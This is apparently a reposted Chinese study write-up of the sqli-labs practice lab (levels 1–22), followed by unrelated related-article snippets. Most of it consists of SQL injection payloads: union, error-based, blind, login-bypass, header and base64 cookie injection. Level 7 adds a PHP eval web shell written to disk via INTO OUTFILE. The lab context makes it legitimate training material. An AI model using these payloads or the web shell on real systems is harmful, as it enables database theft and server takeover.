sqli-labs-master靶场训练笔记(1-22|新手村)

2024.1.21

level-1

(单引号装饰) 

先根据提示建立一个get请求


在尝试使用单个单引号测试,成功发现语句未闭合报错

然后反手一个 order by 得到数据库共3列,-- 后面加字母防止浏览器吃掉 -- 操作(有些会)

再把id改到一个不存在的值防止占用回显位,接上 select 得到回显位是2,3

然后随便选一个回显位开始 爆库 --> 爆表 --> 爆字段 --> 爆数据

?id=-1' union select 1,2,database() -- a
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') -- a
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') -- a
?id=-1' union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

 爆数据时也可以用

?id=-1' union select 1,2,(select concat('~',username,'~') from security.users limit 0,1) -- a

?id=-1' union select 1,2,(select concat('~',username,'~') from security.users where id=1) -- a

来一个一个爆

 

(level-1能有什么坏心思呢,直接拿下(¬◡¬)✧)

level-2

(数字型) 

先尝试了一个和两个单双引号结果都报错,那就在尝试 id=2-1 发现返回的是id=1的值,那就很明显是个简单的数字型注入

 然后就和level-1一样依葫芦画瓢 得列数 --> 爆库 --> 爆表 --> 爆字段 --> 爆数据

此处省略直接给最后一步

?id=-1 union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

(level-2能有什么坏心思呢,不过是leve-1变了个性罢了(¬◡¬)✧)

level-3

(单引号+括号装饰) 

按惯例先小a一个单引号,很好,报错了,看一下报错信息发现多了壳,那就很容易猜到数据库接收的格式大概是 username=('%s') 这样的,那我们也套个壳并把原有的壳干掉

尝试了一下,果然没错,那接下来就是老操作 得列数 --> 爆库 --> 爆表 --> 爆字段 --> 爆数据

直接给poc

?id=-1') union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

 

(level-3能有什么坏心思呢,不过是leve-1穿了个衣服罢了(¬◡¬)✧)

level-4

(双引号+括号装饰) 

惯例上场先小a一个单引号,没用,再小a一个双引号,直接破防,猜出 username=("%s") 

那根据level-3的经验很容易造出绕过

构造出poc

?id=-1") union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

 (level-4能有什么坏心思呢,不过是leve-3的兄弟罢了(¬◡¬)✧)

 level-5

(报错注入) 

 很好,对面上来就放隐身技能,but,我们先小a一个单引号,专治各种花里胡哨,对面马上显现

观察报错信息可知和level-1一个路数,但对面都放技能了,我们再平a就不太厚道了,那就趁他病要他命,直接甩个报错注入

Ps:两个常用的报错函数,详细用法请自行了解,

函数示例
updatexml()?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)  -- a
extractvalue()extractvalue(1,concat(0x7e,(mid((select user()),1,32)),0x7e))

老套路 爆库 --> 爆表 --> 爆字段 --> 爆数据

?id=1' union select extractvalue(1,concat('~',database(),'~')) -- a

?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) -- a

?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~')) -- a

?id=1' and extractvalue(1,concat('~',(select group_concat(username) from security.users limit 0,1),'~')) -- a

 Ps:因为报错注入最多显示32位所以最后面的 ~ 没了,这也是 ~ 存在的原因,可以判断字段是否显示完整

(level-5能有什么坏心思呢,不过是leve-1想和你玩躲猫猫罢了(¬◡¬)✧)

level-6

(报错注入) 

很好,又来,小a一个单引号没用那就小a一个双引号,直接秒了

直接给出poc

?id=1" and extractvalue(1,concat('~',(select group_concat(username) from security.users limit 0,1),'~')) -- a

(level-6能有什么坏心思呢,不过是leve-1的兄弟想和你玩躲猫猫罢了(¬◡¬)✧)

level-7

(GETSHELL) 

又开始玩花招了,报错信息被ban了,但他还留了提示 use outfile 

 但依然还是先判断绕过的格式,经过一番激烈的斗争......,得到了格式为 '))

要想mysql读写文件需要更改mysql配置

找到mysql里的my.ini,在[mysqld]中加入 secure-file-priv= 保存并重启mysql即可

那既然 outfile 都甩脸上了,直接写一个一句话木马,再用蚁剑一连,哎,小样给你底裤都扒干净咯

?id=-1')) union select 1,2,'<?php @eval($_POST["abc"]);?>' into outfile "D:\\2.tools_app\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php" -- a

 (level-7能有什么坏心思呢,不过是leve-1不想被你看光光罢了(¬◡¬)✧)

level-8

(盲注) 

level-7 异父异母的亲兄弟,小a个单引号很容易判断出注入点 id=1' -- a

但很显然 level-8 吸收了level-7 的缺陷,一句话木马注不进去,那么我们也要改变战术——盲注走起,那么——

先爆破一下库名的长度,长度为8

?id=1' and length(database())=1 -- a

 在对库名进行爆破,整理得 security

?id=1' and mid((select database()),1,1)='a' -- a

爆表名,得emails,referers,uagents,users

?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' -- a

 爆字段和爆数据操作类似,不写了,偷个懒

 (level-8能有什么坏心思呢,不过是leve-1欲情故纵罢了(¬◡¬)✧)

level-9

(盲注) 

很好,开始装高冷了,输什么都是一个样,那么就来看看你内心是否真的波澜不惊

抓包扔到 repeater 中可以看到 Content-Length: 707 代表正确

然后小a一个单引号马上显形

那么后续操作就和level-8一样了

?id=1' and mid((select database()),1,1)='a' -- a

(level-9能有什么坏心思呢,不过是leve-1表面的风平浪静罢了(¬◡¬)✧)

level-10

(盲注) 

level-9的孪生兄弟,双引号秒了

?id=1" and mid((select database()),1,1)='a' -- a

 (level-10能有什么坏心思呢,不过是想给leve-1报仇罢了(¬◡¬)✧)

level-11

 (单引号装饰)

 变成表单了,但任他变化万千,单引号yyds

 在反手接一个万能密码,直接拿下

uname=1'or 1=1 -- a&passwd=2&submit=Submit

这一题把GET请求变成了POST请求,但套路还是一样的

 (level-11能有什么坏心思呢,不过是leve-1画了个妆罢了(¬◡¬)✧)

level-12

 (双引号+括号装饰)

这熟悉的感觉,是level-4没错了

uname=1") or 1=1 -- a&passwd=2&submit=Submit

 (level-12能有什么坏心思呢,不过是leve-4画了个妆罢了(¬◡¬)✧) 

level-13 

(报错注入) 

level-3的注入格式

uname=1') -- a&passwd=2&submit=Submit

但是只有登录成功的标志(我的数据呐┻━┻︵╰(‵□′)╯︵┻━┻),这显然不是我们想要的,想必level-5已经告诉了我们答案,你说是吧,报错注入

uname=1') and updatexml(1,concat('~',(select database()),'~'),1) -- a&passwd=2&submit=Submit

(level-13能有什么坏心思呢,不过是画了妆的leve-3陪你玩躲猫猫罢了(¬◡¬)✧) 

level-14

(报错注入) 

一个双引号的事,没啥好说的

uname=1" and updatexml(1,concat('~',(select database()),'~'),1) -- a&passwd=2&submit=Submit

(level-14能有什么坏心思呢,我甚至不好评价(¬◡¬)✧) 

 level-15

(盲注) 

 配合万能钥匙可以判断出是单引号包装

uname=1' or 1=1 -- a&passwd=2&submit=Submit

正确错误都没回显位, 这高冷的气息,想必盲注的心已经按耐不住了

uname=1' or mid((select database()),1,1)='a' -- a&passwd=2&submit=Submit

(level-15能有什么坏心思呢,他只是想尝尝盲注的味道罢了(¬◡¬)✧) 

level-16

 (盲注)

依旧是先判断注入点,有了前几关的练级,三下五除二的试出格式

uname=1") or 1=1 -- a &passwd=&submit=Submit

然后就是熟悉的味道,熟悉的盲注

uname=1") or mid((select database()),1,1)="s" -- a &passwd=&submit=Submit

(level-16能有什么坏心思呢,他只是level-4的兄弟罢了(¬◡¬)✧)

level-17 

(报错注入) 

好好好,这个小卡拉蜜开始嘴臭了,这能忍?忍不了一点(ε=怒ε=怒ε=怒ε=怒ε=( o`ω′)ノ)

看 [PASSWORD RESET] 知道是重置密码,那就要猜一下用户名了,用burp自带的字典爆了一下可以爆出这些用户名

uname=admin&passwd=1&submit=Submit

接下来就是要爆数据了,我先尝试了一下对uname注入但是失败了,那么在试一下对passwd注入,本来想着用盲注的,可在造轮子的时候有了意外发现,测了一下,当password的长度>=21时,会有警告

uname=admin&passwd=123456789012345678901&submit=Submit

那么,有没有利用之处呢 

报错注入一手,直接拿下

uname=admin&passwd=1'and updatexml(1,concat('~',(select database()),'~'),1) -- a&submit=Submit

 事后回顾:

看了一下源代码,之所以username没有注入点是因为用了mysql_fetch_array()

mysql_fetch_array() 函数从结果集中取得一行做为关联数组(即键值对数组,带有指定的键的数组,每一个键关联一个值),或数字数组(带有数字 ID 键的数组),或两者兼有mysql

返回根据从结果集取得的行生成的数组,若是没有更多行则返回 false。

(level-17能有什么坏心思呢,只是犯下了傲慢之罪罢了(¬◡¬)✧)

level-18

 (User-Agent 注入)

 一开始就把IP怼脸上,既然有IP显示,那大概率http请求报头与数据库有交互,既然有交互,就有注入的机会,在用admin登录看看有什么幺蛾子

uname=admin&passwd=admin&submit=Submit

可以看到 User-Agent 也有交互,那么针对 User-Agent 构造poc,直接接在后面即可

' and updatexml(1,concat('~',(select database()),'~'),1) and '

 Ps:

                '        and        updatexml(1,concat('~',(select database()),'~'),1)        and        '

                ↓         ↓                                               ↓                                                ↓          ↓

           与数据  连接                                    报错注入语句                                  连接   与数据

           库原有  前后                                                                                            前后   库原有

           的单引  语句                                                                                            语句   的单引

           号闭合                                                                                                               号闭合

(level-18能有什么坏心思呢,只是想更多的了解你罢了(¬◡¬)✧)

level-19

 (Referer 注入) 

和 level-18 殊途同归,这题是 Referer 请求头注入,改都不带改的,直接一粘

' and updatexml(1,concat('~',(select database()),'~'),1) and '

(level-19能有什么坏心思呢,不过想看看召唤自己的咒语罢了(¬◡¬)✧)

level-20

(cookie 注入)

用admin登进去,发现这次多了 cookie 属性,那就抓包准备接借 cookie 之手进行注入

哎呀,也没啥变化,和level-19一样,一粘可以了

' and updatexml(1,concat('~',(select database()),'~'),1) and '

(level-20能有什么坏心思呢,他只是罢了(¬◡¬)✧)(唯有抓包才能发现的彩蛋(也许吧))

level-21

(cookie 注入+数据加密

从页面上就可以看出这次的数据被 baes64 加密了

中国有句古话:师夷长技以制夷 ,用base64加密后的数据即可爆出数据

加密前:

admin' and updatexml(1,concat('~',(select database()),'~'),1) and '

加密后: 

YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgJw==

(level-21能有什么坏心思呢,他只是进行了秘密行动罢了(¬◡¬)✧)

level-22

(cookie 注入+数据加密)  

和level-21大差不差,用双引号装饰

admin" and updatexml(1,concat('~',(select database()),'~'),1) and "
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgIg==

(level-22能有什么坏心思呢,(¬◡¬)✧) 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/362877.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

全链路压测的关键点是什么?

全链路压测是一种重要的性能测试方法&#xff0c;用于评估应用程序或系统在真实生产环境下的性能表现。通过模拟真实用户行为和流量&#xff0c;全链路压测能够全面评估系统在不同负载下的稳定性和性能表现。本文将介绍全链路压测的关键点&#xff0c;以帮助企业更好地理解和应…

IT行业证书大揭秘:哪些证书含金量最高?

文章目录 &#x1f4d6; 介绍 &#x1f4d6;&#x1f4d2; 证书 &#x1f4d2; &#x1f4d6; 介绍 &#x1f4d6; 在IT行业&#xff0c;有许多证书被认为是含金量高的&#xff0c;可以帮助个人在职业发展中取得重要的竞争优势。以下是一些IT行业中被认为含金量高的证书&#x…

Docker基础知识

1、什么是Docker&#xff1f;Docker解决了什么问题 一个项目中&#xff0c;部署时需要依赖于node.js、Redis、RabbitMQ、MySQL等&#xff0c;这些服务部署时所需要的函数库、依赖项各不相同&#xff0c;甚至会有冲突。给部署带来了极大的困难。 所以引入了Docker Docker为了…

系统架构设计师-21年-下午答案

系统架构设计师-21年-下午答案 更多软考知识请访问 https://ruankao.blog.csdn.net/ 试题一必答&#xff0c;二、三、四、五题中任选两题作答 试题一 (25分) 说明 某公司拟开发一套机器学习应用开发平台&#xff0c;支持用户使用浏览器在线进行基于机器学习的智能应用开发…

ThreadX系列note-前言

什么是 Azure RTOS ThreadX Azure RTOS ThreadX 是 Microsoft 提供的高级工业级实时操作系统 (RTOS)。它是专门为深度嵌入式实时 IoT 应用程序设计的。 Azure RTOS ThreadX 的特性 Azure RTOS ThreadX 提供高级计划、通信、同步、计时器、内存管理和中断管理功能。此外&#…

【SpringBoot】SpringBoot的自动配置原理

&#x1f4dd;个人主页&#xff1a;五敷有你 &#x1f525;系列专栏&#xff1a;SpringBoot ⛺️稳重求进&#xff0c;晒太阳 自动配置 啥叫自动配置呢&#xff1f;简单说就是springboot根据我们开发者的行为猜测你要做什么事情&#xff0c;然后把你要用的bean都给你准备…

tcpdump 抓包无法落盘

文章目录 问题背景解决办法 问题背景 在嵌入式设备中(Linux系统)&#xff0c;为了分析两个网络节点的通讯问题&#xff0c;往往需要用到tcpdump&#xff0c;抓一个.pcap的包在PC端进行分析。博主在实际操作中发现&#xff0c;抓包无法实时落盘。 解决办法 # 下面的命令是写在…

集线器、交换机、路由器工作原理区别

集线器、交换机、路由器这三种设备是相似的&#xff0c;但是他们处理数据的方式有所不同。 1 集线器 集线器的目的是将内部网络上所有网络设备连接在一起。它具有多个端口&#xff0c;可以接受来自网络设备的以太网连接。集线器不过滤任何数据、也不知道该将数据发到什么地方…

友思特应用 | 微观指尖世界:OCT成像应用之3D指纹提取与识别

欢迎访问官网&#xff0c;探索丰富案例&#xff1a; OCT成像系统 | 光学相干断层扫描 | 谱域OCT | 扫频OCT | 广州友思特科技有限公司 关注“友思特机器视觉与光电”公众号、加入行业交流群或直接联系我们&#xff0c;轻松收获更多技术干货 导读 数字化生活已离不开指纹识别认…

Python学习从0到1 day11 Python数据容器.2.元组

世界安静的时候&#xff0c;我只能听到自己的声音 —— 24.2.1 为什么需要元组&#xff1f; 元组同列表一样&#xff0c;都是可以封装多个&#xff0c;不同类型的元素在内&#xff0c;最大的不同点在于&#xff1a; 列表是可以修改的 元组一旦定义完成&#xff0c;就不可修改 所…

测试C#调用OpenCvSharp和IronOcr从摄像头中识别文字

学习了基于OpenCvSharp获取摄像头数据&#xff0c;同时学习了基于IronOcr的文字识别用法&#xff0c;将这两者结合即是从摄像头中识别文字。本文测试C#调用OpenCvSharp和IronOcr从摄像头中识别文字的基本用法、。   新版Winform项目&#xff0c;在Nuget包管理器中添加以下程序…

检测头篇 | 原创自研 | YOLOv8 更换 SEResNeXtBottleneck 头 | 附详细结构图

左图:ResNet 的一个模块。右图:复杂度大致相同的 ResNeXt 模块,基数(cardinality)为32。图中的一层表示为(输入通道数,滤波器大小,输出通道数)。 1. 思路 ResNeXt是微软研究院在2017年发表的成果。它的设计灵感来自于经典的ResNet模型,但ResNeXt有个特别之处:它采用…

记elasticsearch CPU负载100%问题

记elasticsearch CPU负载100%问题 环境&#xff1a;问题表现&#xff1a;初步排查&#xff1a;日志查询hot_thread 深入查询当前elasticsearch正在运行的Task查看Task详情解决问题对导致问题的原因的几个猜测问题复现&#xff1a;导致问题的原因。json导入规则问题json导入规则…

Linux PC 操作系统如果想要达到 Windows 易用的水平还需要多少年

Linux PC 操作系统如果想要达到 Windows 易用的水平还需要多少年&#xff1f; 在开始前我分享下我的经历&#xff0c;刚入行时遇到一个好公司和师父&#xff0c;给了我机会&#xff0c;两年时间从3k薪资涨到18k的&#xff0c; 我师父给了一些Linux 学习方法和资料&#xff0c;…

制造业实施QMS质量管理系统的作用是什么?

QMS质量管理系统是一个关键的组织管理工具&#xff0c;用于确保产品和服务的质量符合预期标准&#xff1b;通过有效地实施万界星空科技QMS&#xff0c;组织可以确保产品和服务的质量符合预期标准&#xff0c;提升客户满意度&#xff0c;增强市场竞争力。 一、QMS系统的特点&…

<网络安全>《12 数据库安全审计系统》

1 概念 数据库安全审计系统通过对用户访问数据库行为的记录、分析和汇报&#xff0c;来帮助用户事后生成合规报告、事故追根溯源&#xff0c;同时通过大数据搜索技术提供高效查询审计报告&#xff0c;定位事件原因&#xff0c;以便日后查询、分析、过滤&#xff0c;实现加强内…

2024年1月份实时获取地图边界数据方法,省市区县街道多级联动【附实时geoJson数据下载】

首先&#xff0c;来看下效果图 在线体验地址&#xff1a;https://geojson.hxkj.vip&#xff0c;并提供实时geoJson数据文件下载 可下载的数据包含省级geojson行政边界数据、市级geojson行政边界数据、区/县级geojson行政边界数据、省市区县街道行政编码四级联动数据&#xff0…

Transformer 改进点,BERT模型的优缺点和一些模型基本原理总结

Transformer的改进点 方差为d_k&#xff0c;需要除以根号d_k&#xff0c;把乘积的数值重新变为均值为0&#xff0c;方差为1. BERT 的优缺点 BERT 训练策略原因 BERT&#xff0c; Transformer&#xff0c; ELMO 的特点&#xff0c;优缺点 之前看过多篇博客&#xff0c;和视频…

废品上门回收系统开发:创新、可持续与便捷

随着科技的不断进步&#xff0c;我们生活的方方面面都在逐步实现数字化转型。其中&#xff0c;废品处理作为城市管理的重要组成部分&#xff0c;同样面临着革新与升级的需求。本文将探讨废品上门回收系统开发的重要性和必要性&#xff0c;并分析如何实现这一系统的可持续性和便…

华为云CodeArts Snap荣获信通院优秀大模型案例及两项荣誉证书

2024年1月25日&#xff0c;中国人工智能产业发展联盟智能化软件工程工作组&#xff08;AI for Software Engineering&#xff0c;下文简称AI4SE&#xff09;在京召开首届“AI4SE创新巡航”活动。在活动上&#xff0c;华为云大模型辅助系统测试代码生成荣获“2023AI4SE银弹优秀案…